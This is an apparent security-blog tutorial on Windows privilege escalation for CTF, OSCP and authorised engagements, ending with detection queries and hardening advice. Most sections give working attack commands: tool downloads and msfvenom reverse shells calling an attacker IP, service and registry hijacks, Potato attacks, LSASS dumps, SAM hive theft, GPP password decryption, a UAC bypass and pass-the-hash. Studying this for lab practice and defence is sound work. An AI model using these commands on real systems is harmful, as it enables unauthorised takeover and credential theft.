Windows Privilege Escalation: Complete Methodology 2026

·

You have a shell on a Windows host. It is iis apppool\defaultapppool, a service account, or a domain user you phished — whoami returns a name with no admin rights, and you cannot read another user's files, dump LSASS, or install a service. Windows privilege escalation is the discipline of turning that shell into NT AUTHORITY\SYSTEM by finding and abusing one local misconfiguration. On a CTF box or an OSCP exam target it is the second half of nearly every machine; on a real engagement it is the difference between one compromised web app and full control of the endpoint — and, from there, the domain.

This is the companion to our Linux privilege escalation methodology, and it follows the same rule: order beats luck. You enumerate the whole host first, then work the vectors from highest-probability to last-resort — service misconfigurations, token privileges and Potato attacks, kernel exploits, harvested credentials, then UAC and installer abuse. Every section gives the exact command to find the weakness, the exact command to exploit it, and — because CyberHawk is a defensive shop — the Windows event ID and hunt query a blue team uses to catch it.

Authorisation first. Everything below assumes your own lab, a CTF you are entitled to play, or a client system inside a signed engagement scope. Escalating privileges on a machine you do not own or have written permission to test is a crime under the US CFAA, the UK Computer Misuse Act and equivalents worldwide. Build the lab in Phase 02 and rehearse there until the workflow is muscle memory.

◈ Table of Contents

01 What Windows PrivEsc Is 02 Prerequisites & Lab Setup 03 Enumeration: Automated & Manual 04 Kernel & Missing-Patch Exploits 05 Service & Registry Misconfigurations 06 Token Privileges & Potato Attacks 07 Credential Harvesting 08 UAC Bypass & Installer Abuse 09 Getting & Proving SYSTEM 10 Detection & Hardening (Blue Team) 11 Troubleshooting & Sources
🔍

01 — What Windows PrivEsc Is & Why It Matters

CONTEXT

Windows enforces privilege through two layers that you must hold in your head the entire time. The first is the access token — every process carries one, and it lists the account's SID, its group SIDs, and its privileges (the Se*Privilege constants such as SeImpersonatePrivilege and SeDebugPrivilege). The second is the integrity level (IL): Low, Medium, High, or System. A standard user runs at Medium IL; an elevated administrator runs at High IL; SYSTEM runs at System IL and is exempt from almost every check. Privilege escalation is any technique that upgrades the token you hold or the integrity level you run at, usually landing you on NT AUTHORITY\SYSTEM.

There are two families. Vertical escalation moves from a standard user or service account to SYSTEM or a local administrator — the goal on almost every CTF box and OSCP target. Horizontal escalation moves sideways to another same-privilege account whose stored credentials or token you can steal. This guide focuses on vertical escalation to SYSTEM, but the credential-harvesting steps in Phase 07 feed horizontal moves and the pivot into Active Directory too.

🎯

Why an attacker needs it

A web shell as a service account cannot dump LSASS, read another user's registry hive, install a driver, or disable Defender. SYSTEM removes every one of those limits and unlocks credential theft.

🛡️

Why a defender studies it

Every vector here is a hardening item and a detection rule. If you know how PrintSpoofer, an unquoted service path, or GPP cpassword is abused, you know exactly what to audit and alert on.

📜

Why OSCP cares

The exam scores full marks only on the SYSTEM/root proof. A foothold gets partial credit; the escalation half is where candidates lose points by guessing instead of enumerating.

🔗

Why it precedes the domain

Local SYSTEM lets you harvest cached credentials, machine account hashes and Kerberos tickets — the fuel for lateral movement and the jump from one endpoint to Domain Admin.

The single most common reason people fail at Windows privilege escalation is impatience: they spot one service, throw an exploit at it, and move on when it fails. The fix is a disciplined enumeration pass — automated and manual — that captures the whole attack surface before you touch anything. That pass starts in Phase 03; first you need a safe place to run it.

🧪

02 — Prerequisites & Lab Setup

BUILD SAFELY

You need an attacker box, at least one deliberately vulnerable Windows target, and a host-only network that keeps the lab off your LAN and off the internet. The attacker box is Kali Linux; the safest practice targets are purpose-built VMs where every misconfiguration in this guide already exists, so you can rehearse the full workflow without touching anything you don't own.

ComponentRecommendedPurpose
AttackerKali Linux 2026.x VMHosts Impacket, PsExec, msfvenom, a listener, the PEAS/Potato binaries
HypervisorVMware Workstation / VirtualBox, host-only netIsolates the lab; lets you snapshot before each exploit
Target 1TryHackMe "Windows PrivEsc" / "Steel Mountain"Every vector pre-planted, guided rooms
Target 2HackTheBox retired Windows boxes, VulnHubRealistic, unguided practice
Target 3Windows 10/Server 2022 eval VM you misconfigureLearn by planting the bug and then finding it
RAM16 GB+ recKali + one Windows target comfortably 8 GB min
01
Stage the toolkit on the attacker box
SETUP

Pull the standard escalation binaries once and keep them in a folder you serve over HTTP. WinPEAS and PowerUp do the enumeration; accesschk.exe (Sysinternals) checks ACLs; the Potato family and PrintSpoofer abuse impersonation privileges. Match the architecture — grab the x64 build unless the target is 32-bit.

Kali — collect the tools
$ mkdir -p ~/winpe && cd ~/winpe $ wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe $ wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 $ wget https://github.com/itm4n/PrintSpoofer/releases/latest/download/PrintSpoofer64.exe $ wget https://github.com/BeichenDream/GodPotato/releases/latest/download/GodPotato-NET4.exe $ # accesschk.exe ships in the Sysinternals suite — keep the older EULA-free build for scripts
Kali — serve them to the target
$ python3 -m http.server 8000 # target pulls with certutil/iwr on port 8000
02
Transfer files onto the Windows target
TRANSFER

Windows has no wget, but it ships several downloaders. PowerShell's Invoke-WebRequest is the default; certutil is the classic fallback that survives on Server Core; SMB is the fastest when outbound HTTP is filtered. Drop files somewhere you can execute from, such as C:\Windows\Temp.

Target — pick whichever works outbound
PS C:\> iwr http://10.10.14.5:8000/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe C:\> certutil -urlcache -split -f http://10.10.14.5:8000/wp.exe C:\Windows\Temp\wp.exe PS C:\> (New-Object Net.WebClient).DownloadFile('http://10.10.14.5:8000/wp.exe','C:\Windows\Temp\wp.exe')
Kali — or share over SMB and copy
$ impacket-smbserver share ~/winpe -smb2support C:\> copy \\10.10.14.5\share\PrintSpoofer64.exe C:\Windows\Temp\ps.exe

WinPEAS and the Potato binaries are flagged by Defender the instant they hit disk. In a lab, exclude your working folder; on an engagement, prefer the obfuscated PowerShell modules (PowerUp) or a manual pass. Never assume a red-team binary is silent on a monitored host.

📋

03 — Enumeration: Automated & Manual

FIND EVERYTHING FIRST

Enumeration is 80% of the work. Run an automated scanner to sweep the whole surface, then confirm each interesting hit by hand — the automated tool tells you where to look, but you decide what is exploitable. Do the automated and manual passes both; each catches things the other misses.

01
Automated sweep: WinPEAS, PowerUp, Seatbelt
AUTOMATED

WinPEAS colour-codes findings — red/yellow highlights are the ones worth chasing. PowerUp's Invoke-AllChecks is a quieter PowerShell-only second opinion that also generates ready-made abuse functions. Run both; note every service, writable path, stored credential and dangerous privilege it prints.

Target — run the scanners
C:\> C:\Windows\Temp\wp.exe quiet # full WinPEAS sweep, no banner PS C:\> powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Invoke-AllChecks" C:\> Seatbelt.exe -group=all # host triage: creds, patches, tokens

WinPEAS output scrolls off a shell. Redirect it: wp.exe quiet > C:\Windows\Temp\wp.txt, exfil the file, and read it on Kali with colour intact using less -r. You will spot the yellow-on-red service ACL findings far faster than scrolling live.

02
Manual: system, patch level, architecture
MANUAL

Capture systeminfo verbatim — you feed it to a missing-patch mapper in Phase 04. Confirm the OS build, architecture and hotfix list. On a real host the "Hotfix(s)" line is often the fastest route to a kernel exploit.

Target — fingerprint the OS
C:\> systeminfo # save the whole block to systeminfo.txt C:\> wmic qfe get HotFixID,InstalledOn # installed patches C:\> echo %PROCESSOR_ARCHITECTURE% # AMD64 vs x86 — match your payloads PS C:\> [Environment]::OSVersion.Version # exact build number
03
Manual: identity, privileges, groups, network
MANUAL

The single most important command in this entire guide is whoami /priv. If it lists SeImpersonatePrivilege, SeBackupPrivilege, SeDebugPrivilege, SeRestorePrivilege or SeTakeOwnershipPrivilege as Enabled, you have a near-guaranteed path to SYSTEM (Phase 06). Then map your groups and any local admins you might already sit near.

Target — who am I and what can I do
C:\> whoami /priv # the token privileges — read this line by line C:\> whoami /groups # group SIDs and your integrity level C:\> net user %USERNAME% # group membership, password policy C:\> net localgroup administrators # who is already admin here C:\> ipconfig /all & route print & netstat -ano # pivots & local-only services
What a good enumeration pass gives you
  • A list of every non-default service and its binary path
  • Your exact token privileges (the whoami /priv line)
  • The OS build + hotfix list saved for the patch mapper
  • Any world-writable folders that sit on a service or PATH
  • Stored credentials, AutoLogon values, and config files worth reading
💥

04 — Kernel & Missing-Patch Exploits

WHEN PATCHING LAGS

If the host is missing patches, a kernel or driver exploit is the most direct route to SYSTEM. This is a last-resort family on a real engagement — kernel exploits can blue-screen the target and are noisy — but on an unpatched CTF box it is often the intended path. Feed your saved systeminfo.txt to a mapper, then pick a stable, well-tested exploit for the build.

01
Map missing patches to public exploits
FINGERPRINT

Windows Exploit Suggester — Next Generation (WES-NG) parses systeminfo output offline and lists the CVEs the host is missing a fix for, ranked by whether a public exploit exists. Watson and the Metasploit local_exploit_suggester do the same from an active session.

Kali — map the systeminfo output
$ wes.py --update # refresh the MSRC database $ wes.py systeminfo.txt -i "Elevation of Privilege" --exploits-only
Meterpreter — suggest from a live session
meterpreter > run post/multi/recon/local_exploit_suggester
02
Pick a stable exploit and confirm the CVE
EXPLOIT

Do not fire the first result blindly. Cross-check the CVE against a trustworthy write-up and prefer exploits with a clean reputation for the exact build. The table below lists common, NVD-confirmed Windows local-privilege-escalation CVEs you will meet in labs and on real hosts — each has public tooling and, for several, in-the-wild abuse.

CVEComponent / NameCVSSWhy it matters
CVE-2021-36934SAM/SYSTEM hive ACL (HiveNightmare / SeriousSAM)7.8Non-admins can read the SAM & SYSTEM hives → offline hash dump
CVE-2021-34527Print Spooler (PrintNightmare)8.8Spooler loads an attacker DLL as SYSTEM; local + remote variants
CVE-2023-21768Ancillary Function Driver for WinSock (afd.sys)7.8Reliable Win10/Server 2022 LPE with well-known public PoC
CVE-2024-30088Windows Kernel (Win32k TOCTOU)7.0Token-swap race to SYSTEM on patched-lagging builds
CVE-2025-29824CLFS driver (clfs.sys)7.8Zero-day abused by ransomware crews before the April 2025 fix

Kernel exploits are one-shot on production. A failed CVE-2024-30088 race or a mismatched afd.sys build bug-checks the box and drops your shell — and on an engagement, that is an availability incident you caused. Snapshot the lab VM first, and on real targets exhaust the config-based vectors in Phases 05–08 before you reach for a driver exploit.

⚙️

05 — Service & Registry Misconfigurations

THE RELIABLE WINS

Service and registry misconfigurations are the bread and butter of Windows escalation because services run as SYSTEM by default and third-party installers get their ACLs wrong constantly. These vectors need no memory-corruption exploit — just a writable path the SCM trusts. Work them in this order: unquoted paths, weak service permissions, weak binary/registry ACLs, then DLL hijacking.

01
Unquoted service paths
CLASSIC

If a service's binary path contains a space and is not wrapped in quotes, the SCM tries each space-delimited prefix as an executable. Drop a payload named for that prefix in a writable parent directory and the service launches it as SYSTEM on next start. It is old, but it still appears on real corporate hosts, third-party installers and OSCP boxes.

Target — find unquoted paths with a writable component
C:\> wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

Say the result is C:\Program Files\Vuln Service\service.exe running auto-start. If you can write to C:\Program Files\Vuln Service\, the SCM will try C:\Program Files\Vuln.exe first, then C:\Program Files\Vuln Service\service.exe. Check the ACL, plant the payload, restart.

Target — confirm write access, plant, restart
C:\> accesschk.exe -uwdq "C:\Program Files\Vuln Service\" # -w = writable dirs C:\> copy C:\Windows\Temp\rev.exe "C:\Program Files\Vuln Service\service.exe" C:\> sc stop VulnSvc & sc start VulnSvc # or wait for reboot if you lack rights

Generate the service-safe payload with msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe-service -o rev.exe. The exe-service format answers the SCM's control handshake so the service starts cleanly instead of timing out and rolling back.

02
Weak service permissions (reconfigure binPath)
ACL ABUSE

If your user has SERVICE_CHANGE_CONFIG on a SYSTEM service, you do not need to touch its files — just repoint its binary. accesschk shows which services you can reconfigure. Set binPath to your command, restart, and the SCM runs it as the service account.

Target — find services your user can modify
C:\> accesschk.exe -uwcqv "%USERNAME%" * # SERVICE_CHANGE_CONFIG / _ALL_ACCESS C:\> sc qc VulnSvc # confirm current binPath & account
Target — repoint the binary and restart
C:\> sc config VulnSvc binPath= "cmd /c net localgroup administrators %USERNAME% /add" C:\> sc stop VulnSvc & sc start VulnSvc C:\> net localgroup administrators # verify you were added

The space after binPath= is mandatory — sc parses binPath= "cmd..." but silently mangles binPath="cmd...". And remember your changes: note the original binPath before you overwrite it so you can restore the service after the test.

03
Weak binary & registry ACLs
ACL ABUSE

Two adjacent misconfigurations: the service's executable file is writable by you (replace it directly), or the service's registry key under HKLM\SYSTEM\CurrentControlSet\Services is writable (edit ImagePath yourself). PowerUp flags both as "ModifiableServiceFile" and "ModifiableService".

Target — writable service executable
C:\> accesschk.exe -quvw "C:\Program Files\Vuln Service\service.exe" C:\> copy /y C:\Windows\Temp\rev.exe "C:\Program Files\Vuln Service\service.exe"
Target — writable service registry key
C:\> accesschk.exe -kvuqsw hklm\System\CurrentControlSet\Services C:\> reg add HKLM\System\CurrentControlSet\Services\VulnSvc /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\rev.exe" /f
04
Modifiable autoruns & scheduled tasks
PERSISTENCE PATH

Programs that autostart from an HKLM Run key or a scheduled task run as whoever logs in — often an admin — or as SYSTEM. If the referenced binary or its folder is writable by you, replace it and wait for the trigger. Enumerate both, then check the ACL on whatever they point at.

Target — enumerate autoruns & tasks
C:\> reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run C:\> schtasks /query /fo LIST /v | findstr /i "TaskName Run\ As\ User Task\ To\ Run" C:\> accesschk.exe -quvw "C:\Path\To\AutorunTarget.exe"
05
DLL hijacking & missing DLLs
SEARCH ORDER

A privileged process that loads a DLL by name (not full path) searches its own directory and the PATH first. If any of those locations is writable and the DLL is missing there, drop a malicious one with the right export table and it loads at SYSTEM. Procmon (in a lab) reveals "NAME NOT FOUND" on DLL loads — those are your candidates.

Target — check for writable PATH entries first
C:\> for %A in ("%path:;=" "%") do @echo %~A # list PATH dirs, then accesschk each C:\> accesschk.exe -uwdq "C:\SomeApp\bin\"
Kali — build the hijack DLL
$ msfvenom -p windows/x64/exec CMD="net localgroup administrators user /add" -f dll -o hijack.dll
🥔

06 — Token Privileges & Potato Attacks

SERVICE ACCOUNT → SYSTEM

If whoami /priv handed you an impersonation or backup privilege, this is the fastest path in the guide — often a single command. These privileges are common on service accounts (IIS AppPool, SQL Server, LocalService/NetworkService), which is exactly what a web-app compromise gives you. Match the privilege to the technique below.

PrivilegeHeld by (typical)Escalation route
SeImpersonatePrivilegeIIS AppPool, MSSQL, service accountsPrintSpoofer / GodPotato / RoguePotato → SYSTEM
SeAssignPrimaryTokenSome service contextsPotato variants (token assignment)
SeBackupPrivilegeBackup Operators, backup agentsRead SAM/SYSTEM hives → offline hash dump
SeRestorePrivilegeBackup OperatorsOverwrite a protected binary / registry key
SeDebugPrivilegeAdmin-adjacent, some monitoring accountsDump LSASS / inject into a SYSTEM process
SeTakeOwnershipPrivilegeRare, misconfigured accountsTake a protected object then rewrite it
01
Confirm the privilege is Enabled
VERIFY

A privilege that is present but Disabled still counts — most tools enable it on the fly. What you need is for it to appear at all in the token. Re-run the one command that matters and read the state column.

Target — read the privilege table
C:\> whoami /priv | findstr /i "Impersonate Backup Restore Debug TakeOwnership"
02
SeImpersonate → PrintSpoofer / GodPotato
POTATO

With SeImpersonatePrivilege, the Potato family coerces a SYSTEM process into authenticating to you, then impersonates its token. PrintSpoofer abuses the print spooler's named pipe; GodPotato works across modern builds via DCOM; RoguePotato is the fallback when the local spooler path is blocked. Any one drops a SYSTEM shell.

Target — spawn SYSTEM from a service account
C:\> PrintSpoofer64.exe -i -c cmd # interactive SYSTEM cmd C:\> GodPotato-NET4.exe -cmd "cmd /c whoami" # prints: nt authority\system C:\> GodPotato-NET4.exe -cmd "C:\Windows\Temp\rev.exe" # or fire a reverse shell

If PrintSpoofer returns "the operation completed successfully" but no shell appears, the spooler is disabled. Switch to GodPotato (DCOM-based) or RoguePotato with an OXID resolver redirect — RoguePotato.exe -r 10.10.14.5 -e "C:\Windows\Temp\rev.exe" -l 9999 — which does not depend on the spooler at all.

03
SeBackup / SeRestore → hive theft
HIVE DUMP

SeBackupPrivilege lets you read any file regardless of its ACL. Copy the SAM and SYSTEM registry hives, exfil them, and dump the local hashes offline with Impacket. The local Administrator hash then unlocks a pass-the-hash into a SYSTEM shell (Phase 09).

Target — export the hives
C:\> reg save HKLM\SAM C:\Windows\Temp\sam.hive C:\> reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
Kali — dump the hashes offline
$ impacket-secretsdump -sam sam.hive -system system.hive LOCAL
04
SeDebug → dump LSASS
CRED THEFT

SeDebugPrivilege lets you open any process, including LSASS, which holds the plaintext-adjacent credentials of everyone logged on. Snapshot it with the signed procdump (quieter than touching mimikatz on disk) and parse the dump on Kali with pypykatz.

Target — snapshot LSASS
C:\> procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\ls.dmp
Kali — extract credentials from the dump
$ pypykatz lsa minidump ls.dmp

Directly reading lsass.exe memory is the single most heavily monitored action on a modern endpoint — Defender for Endpoint alerts on the handle open with 0x1010 / 0x1410 access masks. On an engagement, expect a detection; in a lab, use it to generate that telemetry and validate your EDR rule.

🔑

07 — Credential Harvesting

PASSWORDS LEFT LYING AROUND

Windows and the software on it store credentials in a dozen predictable places. Harvesting them is often easier than any exploit — a saved admin password in the Credential Manager or an AutoLogon value in the registry hands you a higher-privilege account outright. Sweep every location below.

01
Saved credentials & runas /savecred
CRED MANAGER

The Windows Credential Manager can hold cached admin logons. cmdkey /list shows stored targets; if an administrator credential is saved, you can run a command as that account without ever knowing the password using runas /savecred.

Target — list and abuse saved creds
C:\> cmdkey /list # look for a stored admin target C:\> runas /savecred /user:ADMINPC\Administrator "cmd /c net localgroup administrators user /add"
02
AutoLogon, PuTTY, VNC & WiFi secrets
REGISTRY

If the box auto-logs-in, the account and its cleartext password sit in the Winlogon registry key. PuTTY sessions, older VNC installs and saved WiFi profiles leak secrets the same way. Query them directly.

Target — read the classic secret stores
C:\> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword C:\> reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s /f "ProxyPassword" C:\> netsh wlan show profile name="CorpWiFi" key=clear
03
Group Policy Preferences cpassword
DOMAIN

On domain-joined hosts, legacy Group Policy Preferences pushed local-admin passwords in Groups.xml on SYSVOL, AES-encrypted with a key Microsoft published. Any domain user can read SYSVOL, grab the cpassword value, and decrypt it instantly.

Target — search SYSVOL for cpassword
C:\> findstr /S /I cpassword \\%USERDNSDOMAIN%\sysvol\*.xml
Kali — decrypt the value
$ gpp-decrypt "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" # returns the plaintext
04
SAM/SYSTEM ACL bug — HiveNightmare (CVE-2021-36934)
CVE-2021-36934

On unpatched Windows 10/11 builds, the SAM, SYSTEM and SECURITY hives were readable by non-administrators — icacls showed BUILTIN\Users with read access where there should be none. If Volume Shadow Copies exist, you copy the hives out of a snapshot and dump them offline, no admin needed.

Target — check the ACL (vulnerable if Users can read)
C:\> icacls C:\Windows\System32\config\SAM # BUILTIN\Users:(I)(RX) == vulnerable C:\> vssadmin list shadows # find a shadow copy to read from
Kali — dump from the copied hives
$ impacket-secretsdump -sam sam -system system -security security LOCAL
05
Unattended installs & config files
FILE HUNT

Deployment leaves credentials in files. Unattend.xml, sysprep.xml and autounattend.xml can contain a base64 local-admin password; application web.config, .git folders and PowerShell history frequently hold connection strings and API keys. Grep the disk.

Target — hunt for planted secrets
C:\> dir /s /b C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\sysprep.xml 2>nul C:\> findstr /si password *.xml *.ini *.config *.txt PS C:\> type (Get-PSReadlineOption).HistorySavePath # PowerShell console history

Reuse is your friend: any password you recover here is worth spraying against every other account and service on the host and the domain. Feed harvested plaintexts and hashes straight into Phase 09's pass-the-hash and runas steps before you burn time on a harder vector.

06
Domain sidecar — Certifried (CVE-2022-26923)
CVE-2022-26923

When the host is domain-joined and AD Certificate Services is present, a standard user can escalate to Domain Admin by abusing machine-account certificate enrolment — the Certifried flaw. It is out of scope for pure local SYSTEM, but if your enumeration shows a CA, note it: local SYSTEM plus ADCS is frequently a direct line to the domain.

Target — is there a certificate authority to abuse
C:\> certutil -config - -ping # enumerate reachable CAs C:\> nltest /dsgetdc:%USERDNSDOMAIN% # confirm domain membership & DC
🛗

08 — UAC Bypass & Installer Abuse

MEDIUM → HIGH IL

Sometimes you already control an account that is in the local Administrators group but running at Medium integrity because of User Account Control. Here you are not gaining new rights, you are unlocking the ones you already hold. And if a single misconfigured policy is set, you skip UAC entirely.

01
AlwaysInstallElevated → SYSTEM MSI
POLICY BUG

If both the HKCU and HKLM AlwaysInstallElevated policy values are 1, any user can install an MSI that runs as SYSTEM. This is a full escalation from a standard account — no admin group needed. Check both keys; you need both set.

Target — confirm both keys equal 1
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Kali — build the MSI · Target — install it
$ msfvenom -p windows/x64/exec CMD="net localgroup administrators user /add" -f msi -o evil.msi C:\> msiexec /quiet /qn /i C:\Windows\Temp\evil.msi
02
UAC bypass for an admin-in-Medium token
FODHELPER

When your account is already an administrator but running at Medium IL, an auto-elevating binary such as fodhelper.exe can be hijacked through a writable registry key it reads, launching your command at High IL without a UAC prompt. This only works because you already hold admin rights.

Target — plant the hijack key and trigger
PS C:\> New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force PS C:\> Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" "(default)" "C:\Windows\Temp\rev.exe" PS C:\> Set-ItemProperty "HKCU:\Software\Classes\ms-settings\Shell\Open\command" "DelegateExecute" "" PS C:\> Start-Process "C:\Windows\System32\fodhelper.exe"

Clean up the hijack key after the test: reg delete "HKCU\Software\Classes\ms-settings" /f. Left behind, it is both an IOC a defender will flag and a stability risk for the ms-settings handler on the host.

03
Scheduled task & startup-folder abuse
TRIGGERED

If you can write to a folder a privileged scheduled task runs from, or to the All Users Startup directory, your payload executes on the next trigger or logon under a higher-privileged context. Confirm the write, drop the payload, and wait.

Target — the classic writable startup path
C:\> accesschk.exe -uwdq "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" C:\> copy C:\Windows\Temp\rev.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\update.exe"
👑

09 — Getting & Proving SYSTEM

CASH IN THE WIN

Several vectors above give you a local-admin account or an admin hash rather than a shell. This phase converts either into an interactive SYSTEM session and captures clean proof — the part an OSCP report and a client deliverable both require.

01
Turn admin access into a SYSTEM shell
SYSTEM

With local-admin rights or the Administrator hash, PsExec launches a shell as SYSTEM (-s) with the built-in service manager. If you only have a hash, Impacket's psexec/wmiexec pass it directly — no cracking required.

Target — admin account to SYSTEM
C:\> PsExec64.exe -accepteula -s -i cmd.exe # -s = SYSTEM, -i = interactive
Kali — pass-the-hash to a shell
$ impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee:<NThash> [email protected] $ impacket-wmiexec -hashes :<LM>:<NT> [email protected] # quieter, no service created
Meterpreter — token duplication
meterpreter > getsystem # named-pipe / token techniques
02
Prove it, and leave the host as you found it
PROOF

Capture the SYSTEM identity, the hostname and the proof file in one screenshot — an assessor wants to see nt authority\system next to the flag, not a bare hash. Then undo every change you made: restore reconfigured services, delete planted binaries and hijack keys, and remove any account you added.

Target — the proof screenshot
C:\> whoami & hostname & ipconfig | findstr IPv4 C:\> type C:\Users\Administrator\Desktop\root.txt
Target — restore what you touched
C:\> sc config VulnSvc binPath= "C:\Program Files\Vuln Service\service.exe" C:\> net localgroup administrators user /delete C:\> del C:\Windows\Temp\rev.exe C:\Windows\Temp\wp.exe
Escalation complete when
  • whoami returns nt authority\system (or an admin at High IL)
  • You can read another user's files and the proof flag
  • You captured a screenshot with identity + hostname + IP
  • Every service, registry key and account you changed is restored
  • The exact vector and command are written up for the report
🛰️

10 — Detection & Hardening (Blue Team)

CATCH IT · CLOSE IT

Every technique above throws telemetry. This is the half of the guide that pays CyberHawk's rent: turn the attacker's playbook into detections and hardening. Start from the Windows event IDs each vector generates, then build the hunt queries.

VectorSignal / Event IDATT&CK
Service reconfiguredSecurity 4697 / System 7045 (new service)T1543.003
Potato / token abuseSecurity 4672/4673; Sysmon 1 child of service acctT1134.001
LSASS accessSysmon 10 targeting lsass.exe; MDE alertT1003.001
Scheduled task addedSecurity 4698T1053.005
fodhelper UAC bypassSysmon 13 on ms-settings\Shell\Open\commandT1548.002
MSI SYSTEM installSysmon 1: msiexec spawns cmd/powershellT1548.002
01
Hunt: service reconfiguration & Potato spawns
KQL + SPL

The two highest-signal detections are a service binary being repointed and a SYSTEM child process spawned from a service account (the Potato pattern). Run the KQL in Microsoft Sentinel / Defender and the SPL equivalent in Splunk.

KQL — finds a low-priv service account suddenly spawning SYSTEM shells
DeviceProcessEvents | where InitiatingProcessAccountName in~ ("iis apppool\\defaultapppool","network service","local service") | where AccountName =~ "system" | where FileName in~ ("cmd.exe","powershell.exe") | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine
SPL — same idea in Splunk (Sysmon EventCode 1)
index=sysmon EventCode=1 User="NT AUTHORITY\\SYSTEM" ParentImage IN ("*w3wp.exe","*sqlservr.exe","*svchost.exe") Image IN ("*cmd.exe","*powershell.exe") | table _time, Computer, ParentImage, Image, CommandLine
02
Hunt: UAC bypass & new-service telemetry
KQL + SPL

The fodhelper bypass writes a very specific registry path that no legitimate software touches, and sc config/new-service events are rare enough to alert on directly. These two catch Phases 05 and 08.

KQL — fodhelper / ms-settings hijack registry write
DeviceRegistryEvents | where RegistryKey has @"\ms-settings\Shell\Open\command" | where ActionType == "RegistryValueSet" | project Timestamp, DeviceName, InitiatingProcessAccountName, RegistryValueData
SPL — new service installed (System log 7045)
index=wineventlog (EventCode=7045 OR EventCode=4697) | rex field=Service_File_Name "(?i)(?<binpath>.*)" | search binpath IN ("*cmd*","*powershell*","*\\Temp\\*","*net localgroup*") | table _time, host, Service_Name, binpath, Service_Account

Pair detection with prevention. The three cheapest hardening wins that kill most of this guide: quote every service binPath and lock the ACLs on service folders; set both AlwaysInstallElevated keys to 0; and deny SeImpersonatePrivilege to any account that does not strictly need it. Add LSASS protection (RunAsPPL) and Credential Guard to close Phase 07.

🧰

11 — Troubleshooting & Sources

WHEN IT WON'T POP

Escalation attempts fail for a handful of recurring, fixable reasons. Work the table before you assume a vector is dead — nine times out of ten it is an architecture mismatch, an ACL you misread, or a payload format the SCM rejected.

SymptomLikely causeFix
PrintSpoofer "success" but no shellPrint Spooler service disabledSwitch to GodPotato (DCOM) or RoguePotato
Service starts then rolls backPayload is a plain exe, not exe-serviceRebuild with -f exe-service; keep the runtime under 30s
"Access is denied" on sc configYou lack SERVICE_CHANGE_CONFIGRe-check with accesschk; pick a service you can actually modify
Exploit crashes the hostWrong build / architecture for the kernel PoCMatch x64/x86 and exact build; snapshot first
whoami /priv shows nothing usefulStandard user, no special privilegesPivot to services (05), creds (07), or kernel (04)
Payload deleted on writeDefender real-time protectionUse PowerUp / living-off-the-land, or an excluded lab folder
certutil download blockedEgress filtering / SmartScreenFall back to SMB copy or PowerShell WebClient
📚

Sources & References

VERIFY EVERYTHING

Every CVE cited here was confirmed against the NVD database. Primary references for the techniques and the tooling:

NVD — CVE-2021-36934 (HiveNightmare / SeriousSAM) NVD — CVE-2021-34527 (PrintNightmare) NVD — CVE-2023-21768 (afd.sys elevation of privilege) NVD — CVE-2024-30088 (Win32k TOCTOU) NVD — CVE-2025-29824 (CLFS driver zero-day) NVD — CVE-2022-26923 (Certifried, AD CS) MITRE ATT&CK — Privilege Escalation (TA0004) PEASS-ng — WinPEAS enumeration suite itm4n — PrintSpoofer (SeImpersonate abuse) GodPotato — DCOM-based token impersonation WES-NG — Windows Exploit Suggester (Next Gen) Microsoft Learn — Windows privileges & logon reference

◈ Take the methodology further

Rooted the box? The next move is the domain. Pair this with our Linux privilege escalation guide and OSCP 2026 study plan to build the full offensive workflow, then use the CyberHawk SOP library to see how a blue team responds to every technique above.

Run a hash, IP or domain you recovered through the CyberHawk IOC Scanner, and follow the CyberHawk blog for hands-on offensive and defensive tooling guides.

◈ Stay Connected

Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.

🌐 Website ▶️ YouTube ▶️ YouTube (2) 𝕏 Twitter / X ♪ TikTok ✈️ Telegram
🔍 IOC Scanner 🛠️ Live Tools 📚 Courses 🚨 Threat Intel 📝 Blog 📋 SOPs

"They can't exploit you if you are the Exploit."